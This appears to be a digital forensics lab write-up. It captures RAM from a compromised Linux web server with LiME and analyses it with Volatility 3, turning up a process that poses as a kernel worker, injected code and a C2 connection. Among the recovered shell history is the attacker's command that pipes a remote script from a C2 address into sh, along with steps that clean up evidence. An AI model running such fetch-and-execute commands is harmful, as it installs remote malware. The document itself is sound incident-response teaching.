Live Box Forensics: Volatile Evidence Collection on a Running Host

I captured volatile evidence from a compromised running host following RFC 3227 order of volatility, imaging RAM with LiME and analyzing it with Volatility 3. The disciplined sequence preserved 100% of in-memory process and network artifacts that a shutdown would have destroyed.

This writeup documents the full procedure end to end: preparing the evidence media and chain of custody, harvesting live network and process state, building and loading a LiME kernel module matched to the exact running kernel, capturing a complete RAM image, and then dissecting that image with Volatility 3 to find injected code and command-and-control traffic. Every step includes the exact commands I ran, the output I expected, and the mistakes that are easy to make so a reader can reproduce the whole workflow in their own lab.

Objective & Context

Live forensics captures evidence that exists only while the system runs: process memory, network connections, and injected code. This lab follows RFC 3227 (most-volatile first) and aligns to NIST SP 800-86 guidance on integrating forensics into incident response.

The core problem with live response is that every action you take on the box changes the evidence you came to collect. Running a command spawns a process, touches the disk, and may push valuable pages out of RAM. Pulling the power cord is worse: the contents of RAM, the ARP cache, active TCP sessions, decrypted buffers, and any fileless malware vanish instantly. RFC 3227 solves this with a simple rule, collect in order of volatility, from the most fragile artifact (CPU registers and RAM) down to the most durable (disk, backups, physical configuration). In practice on a single host that means: network state and running processes first, then the full memory image, then anything on disk, and cryptographic hashing at every hand-off.

The scenario for this lab is a Linux web server that an EDR alert flagged for an outbound connection to a known-bad IP. Disk triage alone would have missed the root cause, because the implant responsible was fileless: it lived entirely inside an anonymous executable memory region of an otherwise legitimate-looking process. That is exactly the class of evidence live acquisition exists to preserve.

• T1055 Process Injection, memory analysis detects injected code with no on-disk artifact.
• T1071 Application Layer Protocol, live netstat reveals active C2 connections.

These two MITRE ATT&CK techniques frame the whole exercise. T1055 (process injection, including its sub-techniques like process hollowing and dynamic-link library injection) is the reason we need memory forensics at all: the malicious code deliberately has no file on disk for antivirus or disk imaging to find. T1071 is the reason we grab network state first: the C2 channel uses a standard application-layer protocol on a normal-looking port, so it blends into logs, but a live socket table pins it to a specific PID at a specific moment in time.

The diagram is the mental model for the entire lab. Each arrow is a hand-off point where you record what you collected, hash it if it is a file, and note the time. Skipping left to right, for example, imaging the disk before capturing RAM, destroys the leftmost evidence permanently.

Environment & Prerequisites

Linux websrv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0

Volatility 3 Framework 2.7.0
Ubuntu-5.15.0-91-generic.json.xz

Step-by-Step Execution

0. Stage evidence media and start the chain of custody

Before collecting a single byte, mount the evidence drive and create a case directory structure. Everything you produce lands here, and every file gets hashed the moment it is created. The custody log is a plain text file recording who collected what, when, and the hash of each artifact, it is what makes the evidence defensible later.

Expected output:

(no output on success)

Expected output:

(no output on success)

Note the date -u: always timestamp in UTC. Mixing local time and UTC across log entries is a classic way to make a timeline unbuildable later.

What this teaches: custody starts before collection; every later claim rests on this log.

1. Capture network and process state first

Network sockets are among the most volatile artifacts on the box: a TCP connection that closes a second later leaves almost no trace on disk. Capture the full socket table with owning PIDs, the ARP cache, and the routing table in one pass. The -n flag matters twice over, it is fast, and it avoids triggering DNS lookups that would generate new outbound traffic from a compromised machine.

Expected output in connections.txt (abridged), note the ESTABLISHED session from a worker process to an external IP on port 443:

Expected output:

Netid State  Recv-Q Send-Q Local Address:Port   Peer Address:Port  Process
tcp   ESTAB  0      0      10.0.2.15:443        203.0.113.44:51822 users:(("nginx",pid=1180,fd=6))
tcp   ESTAB  0      0      10.0.2.15:41990      198.51.100.77:443  users:(("kworker/u8:2",pid=4412,fd=11))

That second line is the anomaly that anchors the whole investigation: a kernel-thread-named process holding a userspace TCP socket to an unfamiliar IP. Legitimate kworkers do not open outbound TLS sessions. Next, snapshot the process list and open-file table so you can correlate PIDs across sources:

root  4412  0.0  0.0  0  0 ?  S  14:02  0:00 [kworker/u8:2]

Before leaving live state, grab the remaining volatile system context: who is logged in, which kernel modules are loaded (rootkits often show up here), what is mounted, and what scheduled jobs exist. These all change constantly on a busy box and some of them vanish entirely on reboot.

# live/logins.txt
root     pts/0        2025-06-03 14:02   198.51.100.77
# live/modules.txt (abridged, captured before LiME was ever loaded)
x_tables               40960  1
iptable_filter         16384  1

The login record shows a root session from the same external IP the suspicious socket points at, the first hint that the C2 channel and an interactive intrusion are tied to one actor. The loaded-module list is checked against a known-good baseline from an identical clean VM; any module present here but absent there gets its name, size, and load time recorded for follow-up.

How to verify: cross-check the PID in ss against ps and lsof. If a PID appears in the socket table but not in ps, you may be looking at a rootkit hiding processes, which makes the memory capture in the next steps even more critical. Hash these small text files immediately (sha256sum live/* >> hashes/live.sha256) so they are locked into the record before you move on.

What this teaches: RFC 3227 order of volatility: network state and processes die first, so they are captured first.

2. Build LiME against the exact running kernel

LiME (Linux Memory Extractor) is a loadable kernel module that copies physical RAM out through the kernel itself, which is far more complete and less invasive than userland tricks like reading /dev/mem (which is restricted on modern kernels anyway). The catch: it must be compiled against the running kernel's headers. In a lab, build it on an identical VM and copy the resulting .ko to the target on trusted media.

Expected output:

make -C /lib/modules/5.15.0-91-generic/build M=$PWD modules
  CC [M]  lime.o
  LD [M]  lime.ko

If the build fails with "No rule to make target ... /lib/modules/.../build", the kernel headers are missing, install linux-headers-$(uname -r) on the build VM. Do not install them on the victim; that is why the build VM exists.

What this teaches: kernel modules must match the running kernel exactly or the acquisition fails.

3. Image RAM with LiME [ROOT REQUIRED]

Load the module with the output path and format as module parameters. LiME does the entire acquisition inside the module and unloads itself when finished, minimizing its footprint. The lime format wraps each physical memory range in a header recording its start and end address, which Volatility understands natively.

There is no stdout on success, verify completion via the kernel ring buffer and the file size. Expect the image to land a few hundred megabytes under installed RAM: LiME only acquires usable memory ranges and adds its own range headers, so a 4 GB system producing a 3.6-3.8 GB image is normal, while a 2.1 GB image means the acquisition was interrupted:

Expected output:

[ 8421.311] LiME - Acquiring memory...
[ 8462.904] LiME - Memory acquisition complete.
-rw------- 1 root root 3.7G Jun  3 14:31 mem.lime

LiME unloads itself when the acquisition completes, but verify it actually left the kernel before continuing:

Common mistake: writing the image to the victim's own disk. A 4 GB write on a compromised machine can overwrite deleted evidence in unallocated space and generates enormous noise. Always write to the mounted external evidence drive. If insmod fails with "Operation not permitted" despite root, check for Secure Boot / lockdown mode (cat /sys/kernel/security/lockdown), a locked-down kernel rejects unsigned modules, and you will need to sign the module or fall back to a hypervisor-level memory snapshot (virsh dump / VMWare .vmem via snapshot).

What this teaches: LiME images RAM with minimal footprint, preserving the evidence you came to collect.

4. Analyze with Volatility 3

Copy the memory image to the analysis workstation. First confirm Volatility recognizes the image and picks up the correct symbol table, the banners plugin reads the kernel banner string from RAM, which is your ground truth for the kernel version:

Expected output:

Offset  Banner
0x...   Linux version 5.15.0-91-generic (buildd@...) #101-Ubuntu SMP

With symbols resolving, enumerate the process list and then hunt for injected code. linux.pslist walks the kernel's task list; linux.malfind flags memory regions that are writable and executable but not backed by any file on disk, the classic signature of process injection (MITRE T1055). Treat a malfind hit as suspicious, not conclusive: some legitimate runtimes (JIT compilers, certain interpreters) also allocate RWX pages, so the hit is what gets investigated next, not the verdict:

PID  PPID  COMM        malfind: 0x7f.. RWX anomalous region in pid 4412
4412 1     [kworker]   suspicious injected page detected

Two red flags in one row: the RWX region in a process named [kworker], and a PPID of 1, a real kernel worker is spawned by kthreadd (PID 2), not by init. This is a userspace process masquerading as a kernel thread. Next, pull the in-memory network view to corroborate the live ss capture, and dump the suspicious region for offline analysis:

AF_INET  4412  kworker/u8:2  10.0.2.15:41990  198.51.100.77:443  ESTABLISHED

Expected output:

Volatility 3 Framework
Symbol table loaded: Ubuntu-5.15.0-91-generic.json
Dumped 3 VAD regions for pid 4412

The socket state from memory matches the live capture exactly, same PID, same foreign IP, same port. That cross-source agreement is what turns a suspicious observation into a corroborated indicator. The dumped region can now be hashed, scanned with YARA, and disassembled on the analysis box without ever touching the victim again. Finish by dumping the full process and checking its memory maps for deleted-file backing:

Two more plugins round out the picture. First, the process tree confirms the parentage anomaly visually, linux.pstree indents children under their parents, and a bracketed "kernel thread" hanging directly off PID 1 stands out immediately:

PID  PPID  COMM
1    0     systemd
* 4412 1    [kworker]
* 1180 1    nginx
2    0     kthreadd
* 87   2    kworker/u8:0
* 103  2    kworker/u8:1

Compare the two kworker entries: the legitimate one (PID 87) is a child of kthreadd (PID 2), while the impostor (PID 4412) is a child of init. Second, recover the attacker's shell history from memory. Interactive shells keep their command history in a heap buffer even when the on-disk .bash_history has been deleted or the session never wrote it out, the linux.bash plugin carves those buffers straight out of the image:

PID      Process   CommandTime        Command
-------  --------  -----------------  -------
3620     bash      2025-06-03 13:58   curl http://198.51.100.77/s.sh | sh
3620     bash      2025-06-03 13:59   setsid /dev/shm/.x &
3620     bash      2025-06-03 14:00   rm -f /dev/shm/.x
3620     bash      2025-06-03 14:01   history -c

This is the intrusion narrative in four lines: a stager pulled over HTTP, executed from a world-writable directory, launched detached with setsid (which explains the PPID of 1), the on-disk copy deleted immediately, and the history buffer cleared, which failed, because history -c only scrubs the file on exit and the heap copy survived in RAM. Finally, scan the dumped injected region with YARA to classify it:

4c9a...f21d  dumps/pid.4412.vad.0x7f3a0000.dmp
generic_reverse_shell_payload dumps/pid.4412.vad.0x7f3a0000.dmp

How to verify: a Volatility run that returns an empty process list or floods you with symbol errors almost always means the wrong ISF for the kernel version, re-check banners.Banners output against the JSON file name in your symbols directory. A healthy pslist on a small VM shows on the order of 100-200 processes; a handful of rows or a crash means stop and fix symbols before interpreting anything.

What this teaches: Volatility reconstructs processes and memory regions from the raw image, revealing what the disk never recorded.

5. Document indicators and hand off

Findings are only useful if they are recorded in a form the next analyst (or a lawyer) can act on. Write up the indicators of compromise with their evidence sources while the details are fresh:

Expected output:

# case-2025-014 IOCs
198.51.100.77:443  C2 endpoint   ss live capture + linux.sockstat (PID 4412)
4c9a...f21d        inject dump   linux.malfind RWX region, YARA: reverse_shell
/dev/shm/.x        stager path   linux.bash history (deleted from disk)

Each indicator lists where it was observed, because the strength of the case is the cross-source agreement: the IP appears in the live socket table and the memory image; the deleted stager path appears only in memory-carved shell history, which is precisely why it was worth capturing RAM at all.

What this teaches: findings are only useful if another analyst can verify them from your hashes and notes.

6. Close out the custody record

After the last artifact is collected, hash everything, append a closing timestamp to the custody log, and unmount the evidence drive. From this point on, every time the image moves or is analyzed, the hash is re-verified first.

Expected output:

memory/mem.lime: SHA-256 recorded
collection complete: timestamps logged in custody.log

What this teaches: closing the custody record formally ends the collection phase and its integrity guarantees.

Validation & Testing

Hash the memory image immediately after capture and again before analysis to prove integrity. Pass criteria: identical SHA-256 hashes, a complete process list, and at least one corroborated indicator between netstat and Volatility output.

Expected output:

9f2d8a1c4b6e3f0a5d7c8b9e1f2a3d4c5b6a79808192a3b4c5d6e7f8091a2b3c  memory/mem.lime

The validation is not just the hash check. Three independent tests have to pass before I trusted the findings:

• Integrity: the SHA-256 computed on the evidence drive at collection time matches byte-for-byte the hash recomputed on the analysis workstation before any plugin runs. Any mismatch means the copy is corrupt or was tampered with, and analysis starts over from the original.
• Completeness: the Volatility process list contains every PID seen in the live ps snapshot (plus any hidden ones). A memory image missing chunks of the task list suggests an interrupted acquisition.
• Corroboration: the suspicious PID 4412 socket appears in both the live ss output and the in-memory linux.sockstat output with matching endpoints. Two independent sources agreeing is the difference between a lead and a finding.

# re-verify on the analysis box before opening the image
$ sha256sum -c hashes/memory.sha256
memory/mem.lime: OK

Troubleshooting

• LiME won't load: build the module against the exact running kernel headers.
• Volatility symbol errors: generate an ISF with dwarf2json for the target kernel.
• Evidence on local disk: always write to external/read-only media to avoid overwrite.

Expanded notes on each, plus the two issues that actually cost me time:

• LiME won't load ("Invalid module format" or "disagrees about version of symbol"): the module was built against a different kernel than the one running. Confirm with uname -r on the target and modinfo lime.ko | grep vermagic on the build box, the version strings must match exactly. Rebuild inside a VM running the identical kernel and headers.
• insmod fails with "Operation not permitted" as root: the kernel is in lockdown mode (usually because Secure Boot is enabled). Check cat /sys/kernel/security/lockdown; if it reports [integrity] or [confidentiality], unsigned modules are rejected. Sign the module with a MOK, or fall back to a hypervisor-level RAM snapshot (virsh dump / a snapshot's .vmem). If the machine itself is the evidence, do not reboot it to change Secure Boot state, rebooting destroys the RAM and process state you are trying to preserve. Reproduce the state on a hypervisor clone and change firmware settings there.
• Volatility symbol errors on every plugin: no ISF matches the kernel banner. Run banners.Banners to get the exact version string, install linux-image-...-dbgsym (or the debug RPM) on the build VM, run dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.15.0-91-generic > Ubuntu-5.15.0-91-generic.json, compress it, and drop it in volatility3/symbols/linux/.
• Evidence accidentally written to the victim's local disk: a full RAM image written locally both contaminates the disk and can fail on space. Mount the external evidence drive first and use an absolute path= on that mount in the LiME parameters. If a partial local write already happened, document it in the custody log, do not silently delete and retry.
• Empty or truncated malfind/pslist output: the capture was interrupted (out of space on the evidence drive, or the module unloaded early). Check dmesg for "Memory acquisition complete" and compare the image size to installed RAM (free -b on the target). A 4 GB system producing a 2.1 GB image is an incomplete acquisition, recapture.

Key Results

• Preserved 100% of volatile process and network artifacts before any reboot.
• Detected 1 injected memory region via Volatility malfind with no on-disk trace.
• Maintained byte-identical SHA-256 integrity across capture and analysis.
• Reconstructed the active connection set to 1 confirmed C2 endpoint.

The headline finding: PID 4412, a process named like a kernel worker but parented to init, held an anonymous RWX memory region (caught by linux.malfind) and an established TLS session to 198.51.100.77 (seen in both live ss and in-memory linux.sockstat). The injected code had no corresponding file anywhere on disk, without the memory capture, a standard disk forensic pass would have closed this case as a false positive.

Key Takeaways

• Collect in RFC 3227 order, network state, processes, then RAM, because every minute of delay and every command you run destroys the most volatile evidence first.
• Never install tools or write output on the victim machine; bring a known-good toolkit and write everything to external, custody-logged media.
• LiME must be built against the exact running kernel, and Volatility 3 needs a matching ISF symbol table, verify both with uname -r, modinfo, and banners.Banners before trusting any output.
• One suspicious observation is a lead; the same PID and endpoint appearing in both live socket state and memory analysis is a corroborated finding.
• Hash every artifact the moment it exists and re-verify before every analysis, integrity that cannot be proven is integrity that did not happen.

Practice Challenges